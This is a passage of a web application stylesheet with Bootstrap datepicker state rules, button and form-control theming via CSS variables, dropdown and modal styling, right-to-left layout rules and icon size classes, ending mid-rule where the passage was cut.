.datepicker table tr td.range.today:hover.active,
.datepicker table tr td.range.today.disabled.active,
.datepicker table tr td.range.today.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.range.today,
.open .dropdown-toggle.datepicker table tr td.range.today:hover,
.open .dropdown-toggle.datepicker table tr td.range.today.disabled,
.open .dropdown-toggle.datepicker table tr td.range.today.disabled:hover {
  color:#000;
  background-color:#f4bb51;
  border-color:#bf800c
}
.datepicker table tr td.range.today:active,
.datepicker table tr td.range.today:hover:active,
.datepicker table tr td.range.today.disabled:active,
.datepicker table tr td.range.today.disabled:hover:active,
.datepicker table tr td.range.today.active,
.datepicker table tr td.range.today:hover.active,
.datepicker table tr td.range.today.disabled.active,
.datepicker table tr td.range.today.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.range.today,
.open .dropdown-toggle.datepicker table tr td.range.today:hover,
.open .dropdown-toggle.datepicker table tr td.range.today.disabled,
.open .dropdown-toggle.datepicker table tr td.range.today.disabled:hover {
  background-image:none
}
.datepicker table tr td.range.today.disabled,
.datepicker table tr td.range.today:hover.disabled,
.datepicker table tr td.range.today.disabled.disabled,
.datepicker table tr td.range.today.disabled:hover.disabled,
.datepicker table tr td.range.today[disabled],
.datepicker table tr td.range.today:hover[disabled],
.datepicker table tr td.range.today.disabled[disabled],
.datepicker table tr td.range.today.disabled:hover[disabled],
fieldset[disabled] .datepicker table tr td.range.today,
fieldset[disabled] .datepicker table tr td.range.today:hover,
fieldset[disabled] .datepicker table tr td.range.today.disabled,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover,
.datepicker table tr td.range.today.disabled:hover,
.datepicker table tr td.range.today:hover.disabled:hover,
.datepicker table tr td.range.today.disabled.disabled:hover,
.datepicker table tr td.range.today.disabled:hover.disabled:hover,
.datepicker table tr td.range.today[disabled]:hover,
.datepicker table tr td.range.today:hover[disabled]:hover,
.datepicker table tr td.range.today.disabled[disabled]:hover,
.datepicker table tr td.range.today.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.range.today:hover:hover,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover:hover,
.datepicker table tr td.range.today.disabled:focus,
.datepicker table tr td.range.today:hover.disabled:focus,
.datepicker table tr td.range.today.disabled.disabled:focus,
.datepicker table tr td.range.today.disabled:hover.disabled:focus,
.datepicker table tr td.range.today[disabled]:focus,
.datepicker table tr td.range.today:hover[disabled]:focus,
.datepicker table tr td.range.today.disabled[disabled]:focus,
.datepicker table tr td.range.today.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.range.today:focus,
fieldset[disabled] .datepicker table tr td.range.today:hover:focus,
fieldset[disabled] .datepicker table tr td.range.today.disabled:focus,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover:focus,
.datepicker table tr td.range.today.disabled:active,
.datepicker table tr td.range.today:hover.disabled:active,
.datepicker table tr td.range.today.disabled.disabled:active,
.datepicker table tr td.range.today.disabled:hover.disabled:active,
.datepicker table tr td.range.today[disabled]:active,
.datepicker table tr td.range.today:hover[disabled]:active,
.datepicker table tr td.range.today.disabled[disabled]:active,
.datepicker table tr td.range.today.disabled:hover[disabled]:active,
fieldset[disabled] .datepicker table tr td.range.today:active,
fieldset[disabled] .datepicker table tr td.range.today:hover:active,
fieldset[disabled] .datepicker table tr td.range.today.disabled:active,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover:active,
.datepicker table tr td.range.today.disabled.active,
.datepicker table tr td.range.today:hover.disabled.active,
.datepicker table tr td.range.today.disabled.disabled.active,
.datepicker table tr td.range.today.disabled:hover.disabled.active,
.datepicker table tr td.range.today[disabled].active,
.datepicker table tr td.range.today:hover[disabled].active,
.datepicker table tr td.range.today.disabled[disabled].active,
.datepicker table tr td.range.today.disabled:hover[disabled].active,
fieldset[disabled] .datepicker table tr td.range.today.active,
fieldset[disabled] .datepicker table tr td.range.today:hover.active,
fieldset[disabled] .datepicker table tr td.range.today.disabled.active,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover.active {
  background-color:#f7ca77;
  border-color:#f1a417
}
.datepicker table tr td.selected,
.datepicker table tr td.selected:hover,
.datepicker table tr td.selected.disabled,
.datepicker table tr td.selected.disabled:hover {
  color:#fff;
  background-color:#999;
  border-color:#555;
  text-shadow:0 -1px 0 rgba(0,0,0,.25)
}
.datepicker table tr td.selected:hover,
.datepicker table tr td.selected:hover:hover,
.datepicker table tr td.selected.disabled:hover,
.datepicker table tr td.selected.disabled:hover:hover,
.datepicker table tr td.selected:focus,
.datepicker table tr td.selected:hover:focus,
.datepicker table tr td.selected.disabled:focus,
.datepicker table tr td.selected.disabled:hover:focus,
.datepicker table tr td.selected:active,
.datepicker table tr td.selected:hover:active,
.datepicker table tr td.selected.disabled:active,
.datepicker table tr td.selected.disabled:hover:active,
.datepicker table tr td.selected.active,
.datepicker table tr td.selected:hover.active,
.datepicker table tr td.selected.disabled.active,
.datepicker table tr td.selected.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.selected,
.open .dropdown-toggle.datepicker table tr td.selected:hover,
.open .dropdown-toggle.datepicker table tr td.selected.disabled,
.open .dropdown-toggle.datepicker table tr td.selected.disabled:hover {
  color:#fff;
  background-color:#858585;
  border-color:#373737
}
.datepicker table tr td.selected:active,
.datepicker table tr td.selected:hover:active,
.datepicker table tr td.selected.disabled:active,
.datepicker table tr td.selected.disabled:hover:active,
.datepicker table tr td.selected.active,
.datepicker table tr td.selected:hover.active,
.datepicker table tr td.selected.disabled.active,
.datepicker table tr td.selected.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.selected,
.open .dropdown-toggle.datepicker table tr td.selected:hover,
.open .dropdown-toggle.datepicker table tr td.selected.disabled,
.open .dropdown-toggle.datepicker table tr td.selected.disabled:hover {
  background-image:none
}
.datepicker table tr td.selected.disabled,
.datepicker table tr td.selected:hover.disabled,
.datepicker table tr td.selected.disabled.disabled,
.datepicker table tr td.selected.disabled:hover.disabled,
.datepicker table tr td.selected[disabled],
.datepicker table tr td.selected:hover[disabled],
.datepicker table tr td.selected.disabled[disabled],
.datepicker table tr td.selected.disabled:hover[disabled],
fieldset[disabled] .datepicker table tr td.selected,
fieldset[disabled] .datepicker table tr td.selected:hover,
fieldset[disabled] .datepicker table tr td.selected.disabled,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover,
.datepicker table tr td.selected.disabled:hover,
.datepicker table tr td.selected:hover.disabled:hover,
.datepicker table tr td.selected.disabled.disabled:hover,
.datepicker table tr td.selected.disabled:hover.disabled:hover,
.datepicker table tr td.selected[disabled]:hover,
.datepicker table tr td.selected:hover[disabled]:hover,
.datepicker table tr td.selected.disabled[disabled]:hover,
.datepicker table tr td.selected.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.selected:hover:hover,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover:hover,
.datepicker table tr td.selected.disabled:focus,
.datepicker table tr td.selected:hover.disabled:focus,
.datepicker table tr td.selected.disabled.disabled:focus,
.datepicker table tr td.selected.disabled:hover.disabled:focus,
.datepicker table tr td.selected[disabled]:focus,
.datepicker table tr td.selected:hover[disabled]:focus,
.datepicker table tr td.selected.disabled[disabled]:focus,
.datepicker table tr td.selected.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.selected:focus,
fieldset[disabled] .datepicker table tr td.selected:hover:focus,
fieldset[disabled] .datepicker table tr td.selected.disabled:focus,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover:focus,
.datepicker table tr td.selected.disabled:active,
.datepicker table tr td.selected:hover.disabled:active,
.datepicker table tr td.selected.disabled.disabled:active,
.datepicker table tr td.selected.disabled:hover.disabled:active,
.datepicker table tr td.selected[disabled]:active,
.datepicker table tr td.selected:hover[disabled]:active,
.datepicker table tr td.selected.disabled[disabled]:active,
.datepicker table tr td.selected.disabled:hover[disabled]:active,
fieldset[disabled] .datepicker table tr td.selected:active,
fieldset[disabled] .datepicker table tr td.selected:hover:active,
fieldset[disabled] .datepicker table tr td.selected.disabled:active,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover:active,
.datepicker table tr td.selected.disabled.active,
.datepicker table tr td.selected:hover.disabled.active,
.datepicker table tr td.selected.disabled.disabled.active,
.datepicker table tr td.selected.disabled:hover.disabled.active,
.datepicker table tr td.selected[disabled].active,
.datepicker table tr td.selected:hover[disabled].active,
.datepicker table tr td.selected.disabled[disabled].active,
.datepicker table tr td.selected.disabled:hover[disabled].active,
fieldset[disabled] .datepicker table tr td.selected.active,
fieldset[disabled] .datepicker table tr td.selected:hover.active,
fieldset[disabled] .datepicker table tr td.selected.disabled.active,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover.active {
  background-color:#999;
  border-color:#555
}
.datepicker table tr td.active,
.datepicker table tr td.active:hover,
.datepicker table tr td.active.disabled,
.datepicker table tr td.active.disabled:hover {
  color:#fff;
  background-color:#428bca;
  border-color:#357ebd;
  text-shadow:0 -1px 0 rgba(0,0,0,.25)
}
.datepicker table tr td.active:hover,
.datepicker table tr td.active:hover:hover,
.datepicker table tr td.active.disabled:hover,
.datepicker table tr td.active.disabled:hover:hover,
.datepicker table tr td.active:focus,
.datepicker table tr td.active:hover:focus,
.datepicker table tr td.active.disabled:focus,
.datepicker table tr td.active.disabled:hover:focus,
.datepicker table tr td.active:active,
.datepicker table tr td.active:hover:active,
.datepicker table tr td.active.disabled:active,
.datepicker table tr td.active.disabled:hover:active,
.datepicker table tr td.active.active,
.datepicker table tr td.active:hover.active,
.datepicker table tr td.active.disabled.active,
.datepicker table tr td.active.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.active,
.open .dropdown-toggle.datepicker table tr td.active:hover,
.open .dropdown-toggle.datepicker table tr td.active.disabled,
.open .dropdown-toggle.datepicker table tr td.active.disabled:hover {
  color:#fff;
  background-color:#3276b1;
  border-color:#285e8e
}
.datepicker table tr td.active:active,
.datepicker table tr td.active:hover:active,
.datepicker table tr td.active.disabled:active,
.datepicker table tr td.active.disabled:hover:active,
.datepicker table tr td.active.active,
.datepicker table tr td.active:hover.active,
.datepicker table tr td.active.disabled.active,
.datepicker table tr td.active.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td.active,
.open .dropdown-toggle.datepicker table tr td.active:hover,
.open .dropdown-toggle.datepicker table tr td.active.disabled,
.open .dropdown-toggle.datepicker table tr td.active.disabled:hover {
  background-image:none
}
.datepicker table tr td.active.disabled,
.datepicker table tr td.active:hover.disabled,
.datepicker table tr td.active.disabled.disabled,
.datepicker table tr td.active.disabled:hover.disabled,
.datepicker table tr td.active[disabled],
.datepicker table tr td.active:hover[disabled],
.datepicker table tr td.active.disabled[disabled],
.datepicker table tr td.active.disabled:hover[disabled],
fieldset[disabled] .datepicker table tr td.active,
fieldset[disabled] .datepicker table tr td.active:hover,
fieldset[disabled] .datepicker table tr td.active.disabled,
fieldset[disabled] .datepicker table tr td.active.disabled:hover,
.datepicker table tr td.active.disabled:hover,
.datepicker table tr td.active:hover.disabled:hover,
.datepicker table tr td.active.disabled.disabled:hover,
.datepicker table tr td.active.disabled:hover.disabled:hover,
.datepicker table tr td.active[disabled]:hover,
.datepicker table tr td.active:hover[disabled]:hover,
.datepicker table tr td.active.disabled[disabled]:hover,
.datepicker table tr td.active.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.active:hover:hover,
fieldset[disabled] .datepicker table tr td.active.disabled:hover:hover,
.datepicker table tr td.active.disabled:focus,
.datepicker table tr td.active:hover.disabled:focus,
.datepicker table tr td.active.disabled.disabled:focus,
.datepicker table tr td.active.disabled:hover.disabled:focus,
.datepicker table tr td.active[disabled]:focus,
.datepicker table tr td.active:hover[disabled]:focus,
.datepicker table tr td.active.disabled[disabled]:focus,
.datepicker table tr td.active.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.active:focus,
fieldset[disabled] .datepicker table tr td.active:hover:focus,
fieldset[disabled] .datepicker table tr td.active.disabled:focus,
fieldset[disabled] .datepicker table tr td.active.disabled:hover:focus,
.datepicker table tr td.active.disabled:active,
.datepicker table tr td.active:hover.disabled:active,
.datepicker table tr td.active.disabled.disabled:active,
.datepicker table tr td.active.disabled:hover.disabled:active,
.datepicker table tr td.active[disabled]:active,
.datepicker table tr td.active:hover[disabled]:active,
.datepicker table tr td.active.disabled[disabled]:active,
.datepicker table tr td.active.disabled:hover[disabled]:active,
fieldset[disabled] .datepicker table tr td.active:active,
fieldset[disabled] .datepicker table tr td.active:hover:active,
fieldset[disabled] .datepicker table tr td.active.disabled:active,
fieldset[disabled] .datepicker table tr td.active.disabled:hover:active,
.datepicker table tr td.active.disabled.active,
.datepicker table tr td.active:hover.disabled.active,
.datepicker table tr td.active.disabled.disabled.active,
.datepicker table tr td.active.disabled:hover.disabled.active,
.datepicker table tr td.active[disabled].active,
.datepicker table tr td.active:hover[disabled].active,
.datepicker table tr td.active.disabled[disabled].active,
.datepicker table tr td.active.disabled:hover[disabled].active,
fieldset[disabled] .datepicker table tr td.active.active,
fieldset[disabled] .datepicker table tr td.active:hover.active,
fieldset[disabled] .datepicker table tr td.active.disabled.active,
fieldset[disabled] .datepicker table tr td.active.disabled:hover.active {
  background-color:#428bca;
  border-color:#357ebd
}
.datepicker table tr td span {
  display:block;
  width:23%;
  height:54px;
  line-height:54px;
  float:left;
  margin:1%;
  cursor:pointer;
  border-radius:4px
}
.datepicker table tr td span:hover {
  background:#eee
}
.datepicker table tr td span.disabled,
.datepicker table tr td span.disabled:hover {
  background:none;
  color:#999;
  cursor:default
}
.datepicker table tr td span.active,
.datepicker table tr td span.active:hover,
.datepicker table tr td span.active.disabled,
.datepicker table tr td span.active.disabled:hover {
  color:#fff;
  background-color:#428bca;
  border-color:#357ebd;
  text-shadow:0 -1px 0 rgba(0,0,0,.25)
}
.datepicker table tr td span.active:hover,
.datepicker table tr td span.active:hover:hover,
.datepicker table tr td span.active.disabled:hover,
.datepicker table tr td span.active.disabled:hover:hover,
.datepicker table tr td span.active:focus,
.datepicker table tr td span.active:hover:focus,
.datepicker table tr td span.active.disabled:focus,
.datepicker table tr td span.active.disabled:hover:focus,
.datepicker table tr td span.active:active,
.datepicker table tr td span.active:hover:active,
.datepicker table tr td span.active.disabled:active,
.datepicker table tr td span.active.disabled:hover:active,
.datepicker table tr td span.active.active,
.datepicker table tr td span.active:hover.active,
.datepicker table tr td span.active.disabled.active,
.datepicker table tr td span.active.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td span.active,
.open .dropdown-toggle.datepicker table tr td span.active:hover,
.open .dropdown-toggle.datepicker table tr td span.active.disabled,
.open .dropdown-toggle.datepicker table tr td span.active.disabled:hover {
  color:#fff;
  background-color:#3276b1;
  border-color:#285e8e
}
.datepicker table tr td span.active:active,
.datepicker table tr td span.active:hover:active,
.datepicker table tr td span.active.disabled:active,
.datepicker table tr td span.active.disabled:hover:active,
.datepicker table tr td span.active.active,
.datepicker table tr td span.active:hover.active,
.datepicker table tr td span.active.disabled.active,
.datepicker table tr td span.active.disabled:hover.active,
.open .dropdown-toggle.datepicker table tr td span.active,
.open .dropdown-toggle.datepicker table tr td span.active:hover,
.open .dropdown-toggle.datepicker table tr td span.active.disabled,
.open .dropdown-toggle.datepicker table tr td span.active.disabled:hover {
  background-image:none
}
.datepicker table tr td span.active.disabled,
.datepicker table tr td span.active:hover.disabled,
.datepicker table tr td span.active.disabled.disabled,
.datepicker table tr td span.active.disabled:hover.disabled,
.datepicker table tr td span.active[disabled],
.datepicker table tr td span.active:hover[disabled],
.datepicker table tr td span.active.disabled[disabled],
.datepicker table tr td span.active.disabled:hover[disabled],
fieldset[disabled] .datepicker table tr td span.active,
fieldset[disabled] .datepicker table tr td span.active:hover,
fieldset[disabled] .datepicker table tr td span.active.disabled,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover,
.datepicker table tr td span.active.disabled:hover,
.datepicker table tr td span.active:hover.disabled:hover,
.datepicker table tr td span.active.disabled.disabled:hover,
.datepicker table tr td span.active.disabled:hover.disabled:hover,
.datepicker table tr td span.active[disabled]:hover,
.datepicker table tr td span.active:hover[disabled]:hover,
.datepicker table tr td span.active.disabled[disabled]:hover,
.datepicker table tr td span.active.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td span.active:hover:hover,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover:hover,
.datepicker table tr td span.active.disabled:focus,
.datepicker table tr td span.active:hover.disabled:focus,
.datepicker table tr td span.active.disabled.disabled:focus,
.datepicker table tr td span.active.disabled:hover.disabled:focus,
.datepicker table tr td span.active[disabled]:focus,
.datepicker table tr td span.active:hover[disabled]:focus,
.datepicker table tr td span.active.disabled[disabled]:focus,
.datepicker table tr td span.active.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td span.active:focus,
fieldset[disabled] .datepicker table tr td span.active:hover:focus,
fieldset[disabled] .datepicker table tr td span.active.disabled:focus,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover:focus,
.datepicker table tr td span.active.disabled:active,
.datepicker table tr td span.active:hover.disabled:active,
.datepicker table tr td span.active.disabled.disabled:active,
.datepicker table tr td span.active.disabled:hover.disabled:active,
.datepicker table tr td span.active[disabled]:active,
.datepicker table tr td span.active:hover[disabled]:active,
.datepicker table tr td span.active.disabled[disabled]:active,
.datepicker table tr td span.active.disabled:hover[disabled]:active,
fieldset[disabled] .datepicker table tr td span.active:active,
fieldset[disabled] .datepicker table tr td span.active:hover:active,
fieldset[disabled] .datepicker table tr td span.active.disabled:active,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover:active,
.datepicker table tr td span.active.disabled.active,
.datepicker table tr td span.active:hover.disabled.active,
.datepicker table tr td span.active.disabled.disabled.active,
.datepicker table tr td span.active.disabled:hover.disabled.active,
.datepicker table tr td span.active[disabled].active,
.datepicker table tr td span.active:hover[disabled].active,
.datepicker table tr td span.active.disabled[disabled].active,
.datepicker table tr td span.active.disabled:hover[disabled].active,
fieldset[disabled] .datepicker table tr td span.active.active,
fieldset[disabled] .datepicker table tr td span.active:hover.active,
fieldset[disabled] .datepicker table tr td span.active.disabled.active,
fieldset[disabled] .datepicker table tr td span.active.disabled:hover.active {
  background-color:#428bca;
  border-color:#357ebd
}
.datepicker table tr td span.old,
.datepicker table tr td span.new {
  color:#999
}
.datepicker th.datepicker-switch {
  width:145px
}
.datepicker thead tr:first-child th,
.datepicker tfoot tr th {
  cursor:pointer
}
.datepicker thead tr:first-child th:hover,
.datepicker tfoot tr th:hover {
  background:#eee
}
.datepicker .cw {
  font-size:10px;
  width:12px;
  padding:0 2px 0 5px;
  vertical-align:middle
}
.datepicker thead tr:first-child th.cw {
  cursor:default;
  background-color:transparent
}
.input-group.date .input-group-addon i {
  cursor:pointer
}
.input-daterange input {
  text-align:center
}
.input-daterange input:first-child {
  border-radius:3px 0 0 3px
}
.input-daterange input:last-child {
  border-radius:0 3px 3px 0
}
.input-daterange .input-group-addon {
  width:auto;
  min-width:16px;
  padding:4px 5px;
  font-weight:400;
  line-height:1.42857143;
  text-align:center;
  text-shadow:0 1px 0 #fff;
  vertical-align:middle;
  background-color:#eee;
  border:solid #cccccc;
  border-width:1px 0;
  margin-left:-5px;
  margin-right:-5px
}
.datepicker.dropdown-menu {
  position:absolute;
  top:100%;
  left:0;
  z-index:1000;
  float:left;
  display:none;
  min-width:160px;
  list-style:none;
  background-color:#fff;
  border:1px solid #ccc;
  border:1px solid rgba(0,0,0,.2);
  border-radius:5px;
  -webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);
  -moz-box-shadow:0 5px 10px rgba(0,0,0,.2);
  box-shadow:0 5px 10px #0003;
  -webkit-background-clip:padding-box;
  -moz-background-clip:padding;
  background-clip:padding-box;
  color:#333;
  font-size:13px;
  line-height:1.42857143
}
.datepicker.dropdown-menu th,
.datepicker.datepicker-inline th,
.datepicker.dropdown-menu td,
.datepicker.datepicker-inline td {
  padding:0 5px
}
body {
  color:var(--text)
}
a,
.btn.btn-link {
  color:var(--link)
}
a:hover,
a:focus,
.btn.btn-link:hover,
.btn.btn-link:focus {
  color:var(--link-hover)
}
a:focus {
  outline:5px auto var(--focus-500);
  outline-offset:0
}
a:focus-visible:not(.btn):not([href="#"]) {
  color:var(--focus)!important;
  background-color:var(--focus-500);
  display:inline-block;
  text-decoration:none;
  border-radius:4px;
  box-shadow:0 0 0 4px var(--focus-500);
  outline:0
}
.btn {
  border-radius:var(--button-radius)
}
.btn.btn-primary {
  color:var(--btn-primary);
  border-color:var(--btn-primary-background);
  background-color:var(--btn-primary-background)
}
.btn.btn-primary:active {
  background-color:var(--btn-primary-background)
}
.btn.btn-primary:hover,
.btn.btn-primary:focus {
  background-color:var(--btn-primary-background-hover)
}
.btn.btn-primary:focus {
  box-shadow:0 0 0 4px var(--btn-primary-outline)
}
.btn.btn-secondary {
  color:var(--btn-secondary);
  border-color:var(--btn-secondary-background);
  background-color:var(--btn-secondary-background)
}
.btn.btn-secondary:active {
  background-color:var(--btn-secondary-background)
}
.btn.btn-secondary:hover,
.btn.btn-secondary:focus {
  background-color:var(--btn-secondary-background-hover)
}
.btn.btn-secondary:focus {
  box-shadow:0 0 0 4px var(--btn-secondary-outline)
}
.btn.btn-default {
  color:var(--text);
  border-color:var(--border-bootstrap);
  background-color:var(--background)
}
.btn.btn-default:active,
.btn.btn-default:focus {
  background-color:var(--background)
}
.btn.btn-default:hover {
  background-color:var(--background-100);
  color:var(--text)
}
.btn.btn-default:focus {
  border-color:var(--focus-500);
  box-shadow:0 0 0 .25rem var(--btn-primary-outline)
}
.btn-group .btn.btn-default.active {
  color:var(--text);
  background-color:var(--background-50);
  opacity:1;
  box-shadow:none
}
.btn-group .btn.btn-default.active:active,
.btn-group .btn.btn-default.active:focus,
.btn-group .btn.btn-default.active:hover {
  background-color:var(--background-100)
}
.btn-group .btn.btn-default.active:active,
.btn-group .btn.btn-default.active:focus {
  box-shadow:0 0 0 .25rem var(--btn-primary-outline)
}
.btn-group.btn-group-accent .btn.btn-default {
  border-color:var(--border-bright)
}
.btn.btn-link {
  color:var(--link)
}
.btn.btn-link:focus {
  box-shadow:0 0 0 4px var(--btn-primary-outline)
}
.btn.btn-outline {
  color:var(--accent);
  border:1px solid var(--accent)
}
.btn.btn-text {
  color:inherit;
  font-size:inherit;
  font-weight:inherit;
  text-transform:inherit;
  justify-content:flex-start;
  background:transparent;
  border:0;
  padding:.25rem .5rem;
  outline:0
}
.btn.btn-text:active,
.btn.btn-text:focus,
.btn.btn-text:hover {
  background-color:transparent;
  outline:0;
  box-shadow:none
}
.btn.btn-primary,
.btn.btn-default,
.btn.btn-link {
  transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out
}
.btn.btn-primary:focus,
.btn.btn-primary:active:focus,
.btn.btn-default:focus,
.btn.btn-default:active:focus,
.btn.btn-link:focus,
.btn.btn-link:active:focus {
  outline:0
}
.btn.btn-primary.disabled,
.btn.btn-primary.btn[disabled] {
  color:#fffc
}
.btn.disabled,
.btn[disabled] {
  filter:opacity(.7)
}
.form-control {
  padding:.375rem .75rem;
  font-size:14px;
  font-weight:400;
  line-height:1.25rem;
  height:auto;
  color:var(--text);
  background-color:#fff;
  background-clip:padding-box;
  border:1px solid var(--border-bootstrap);
  border-radius:.25rem;
  transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out
}
select.form-control {
  appearance:none;
  background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e");
  background-repeat:no-repeat;
  background-position:right .75rem center;
  background-size:16px 12px;
  padding-right:32px;
  overflow:hidden;
  text-overflow:ellipsis
}
.twitter-typeahead .tt-input {
  color:var(--text)
}
.twitter-typeahead .tt-hint {
  color:var(--text-gray)
}
.twitter-typeahead .tt-input,
.twitter-typeahead .tt-hint {
  background-color:#fff
}
.twitter-typeahead.dropup .tt-dropdown-menu {
  bottom:100%!important;
  top:auto!important
}
.form-control:focus {
  -ms-scroll-limit-x-max:#86b7fe;
  outline:0;
  border-color:var(--focus-500);
  box-shadow:0 0 0 .25rem var(--btn-primary-outline)
}
body .checkbox label,
body .radio label {
  font-size:14px
}
.dropdown>a {
  color:inherit
}
ul.dropdown-menu>li a:hover,
ul.dropdown-menu>[role=group]>li a:hover {
  color:var(--text);
  background-color:var(--selected-dropdown-background-hover)
}
ul.dropdown-menu>li>a:focus,
ul.dropdown-menu>[role=group]>li>a:focus {
  color:var(--focus);
  background-color:var(--focus-500)
}
.open>.dropdown-toggle.btn-primary {
  border-color:var(--focus-600);
  background-color:var(--focus-500)
}
.open>.dropdown-toggle.btn-primary:focus {
  background-color:var(--focus-700)
}
ul.dropdown-menu>li>a:hover {
  color:var(--text);
  background-color:var(--background-5)
}
.dropdown-menu .gridview a {
  display:inline-block
}
.dropdown-menu .gridview a.current {
  outline:2px solid var(--accent);
  border-color:var(--accent);
  text-decoration:underline
}
ul.dropdown-menu,
div.dropdown-menu {
  color:var(--text);
  background-color:var(--background);
  border:1px solid var(--border-bright);
  border-radius:var(--default-radius);
  box-shadow:0 8px 16px #0000001a
}
ul.dropdown-menu .dropdown-header,
div.dropdown-menu .dropdown-header {
  color:var(--text-gray)
}
ul.dropdown-menu .divider {
  background-color:var(--border-bright)
}
ul.dropdown-menu>li>a,
ul.dropdown-menu>[role=group]>li>a {
  color:var(--text);
  display:flex;
  align-items:center
}
ul.dropdown-menu>li>a.has-detail,
ul.dropdown-menu>[role=group]>li>a.has-detail {
  flex-direction:column;
  align-items:flex-start
}
ul.dropdown-menu>li>a.has-detail .detail-text,
ul.dropdown-menu>[role=group]>li>a.has-detail .detail-text {
  color:var(--text-gray);
  font-size:12px;
  width:100%
}
ul.dropdown-menu>li>a:focus .detail-text,
ul.dropdown-menu>[role=group]>li>a:focus .detail-text {
  color:var(--selected-gray-focus)
}
li.dropdown-header {
  max-width:none
}
.list-unstyled {
  padding-inline-start:0
}
.label.label-success {
  background-color:#008500
}
.progress-bar {
  background-color:var(--accent-500)
}
.modal-content {
  background-color:var(--background);
  box-shadow:0 15px 70px 10px #00000080
}
.smartphone .modal-content {
  border-radius:12px
}
.modal-header,
.modal-footer {
  border-color:var(--border-bright)
}
pre {
  color:var(--text);
  background-color:var(--background-100);
  border-color:var(--border)
}
legend,
label {
  color:var(--text)
}
legend {
  border-bottom-color:var(--border-bright)
}
.list-group-item {
  background-color:var(--background);
  border-color:var(--border)
}
.animate-spin {
  animation:spin 2s linear infinite
}
.pause-animation {
  animation-play-state:paused
}
.alert-accent {
  color:var(--accent-600);
  background-color:var(--accent-20);
  border-color:var(--accent-100)
}
.dark .alert-accent {
  color:var(--accent-200);
  background-color:var(--accent-800);
  border-color:var(--accent-700)
}
html[dir=rtl] select.form-control {
  background-position:left .75rem center
}
html[dir=rtl] .btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle) {
  border-radius:0 var(--default-radius) var(--default-radius) 0
}
html[dir=rtl] .btn-group>.btn:last-child:not(:first-child),
html[dir=rtl] .btn-group>.dropdown-toggle:not(:first-child) {
  border-radius:var(--default-radius) 0 0 var(--default-radius)
}
@media (min-width: 768px) {
  html[dir=rtl] .col-sm-1,
  html[dir=rtl] .col-sm-2,
  html[dir=rtl] .col-sm-3,
  html[dir=rtl] .col-sm-4,
  html[dir=rtl] .col-sm-5,
  html[dir=rtl] .col-sm-6,
  html[dir=rtl] .col-sm-7,
  html[dir=rtl] .col-sm-8,
  html[dir=rtl] .col-sm-9,
  html[dir=rtl] .col-sm-10,
  html[dir=rtl] .col-sm-11,
  html[dir=rtl] .col-sm-12 {
    float:right
  }
}
@media (min-width: 992px) {
  html[dir=rtl] .col-md-1,
  html[dir=rtl] .col-md-2,
  html[dir=rtl] .col-md-3,
  html[dir=rtl] .col-md-4,
  html[dir=rtl] .col-md-5,
  html[dir=rtl] .col-md-6,
  html[dir=rtl] .col-md-7,
  html[dir=rtl] .col-md-8,
  html[dir=rtl] .col-md-9,
  html[dir=rtl] .col-md-10,
  html[dir=rtl] .col-md-11,
  html[dir=rtl] .col-md-12 {
    float:right
  }
}
@media (min-width: 1200px) {
  html[dir=rtl] .col-lg-1,
  html[dir=rtl] .col-lg-2,
  html[dir=rtl] .col-lg-3,
  html[dir=rtl] .col-lg-4,
  html[dir=rtl] .col-lg-5,
  html[dir=rtl] .col-lg-6,
  html[dir=rtl] .col-lg-7,
  html[dir=rtl] .col-lg-8,
  html[dir=rtl] .col-lg-9,
  html[dir=rtl] .col-lg-10,
  html[dir=rtl] .col-lg-11,
  html[dir=rtl] .col-lg-12 {
    float:right
  }
}
html.smartphone,
.smartphone #io-ox-core {
  height:calc(100% + env(safe-area-inset-top) - env(safe-area-inset-bottom))
}
.smartphone #io-ox-login-header {
  padding-top:env(safe-area-inset-top)
}
body {
  font-feature-settings:"liga","kern"
}
textarea,
.user-select-text {
  user-select:text;
  -webkit-user-select:text
}
textarea {
  resize:none
}
html.ios input[type=datetime-local],
html.ios input[type=date],
html.ios input[type=time] {
  appearance:textfield;
  padding-top:0
}
span.hint {
  font-size:8pt;
  text-align:left
}
.bi {
  display:inline-block;
  height:1em;
  width:1em;
  vertical-align:-.125em;
  pointer-events:none
}
.bi.bi-10 {
  width:10px;
  height:10px
}
.bi.bi-12 {
  width:12px;
  height:12px
}
.bi.bi-13 {
  width:13px;
  height:13px
}
.bi.bi-14 {
  width:14px;
  height:14px
}
.bi.bi-15 {
  width:15px;
  height:15px
}
.bi.bi-16 {
  width:16px;
  height:16px
}
.bi.bi-17 {
  width:17px;
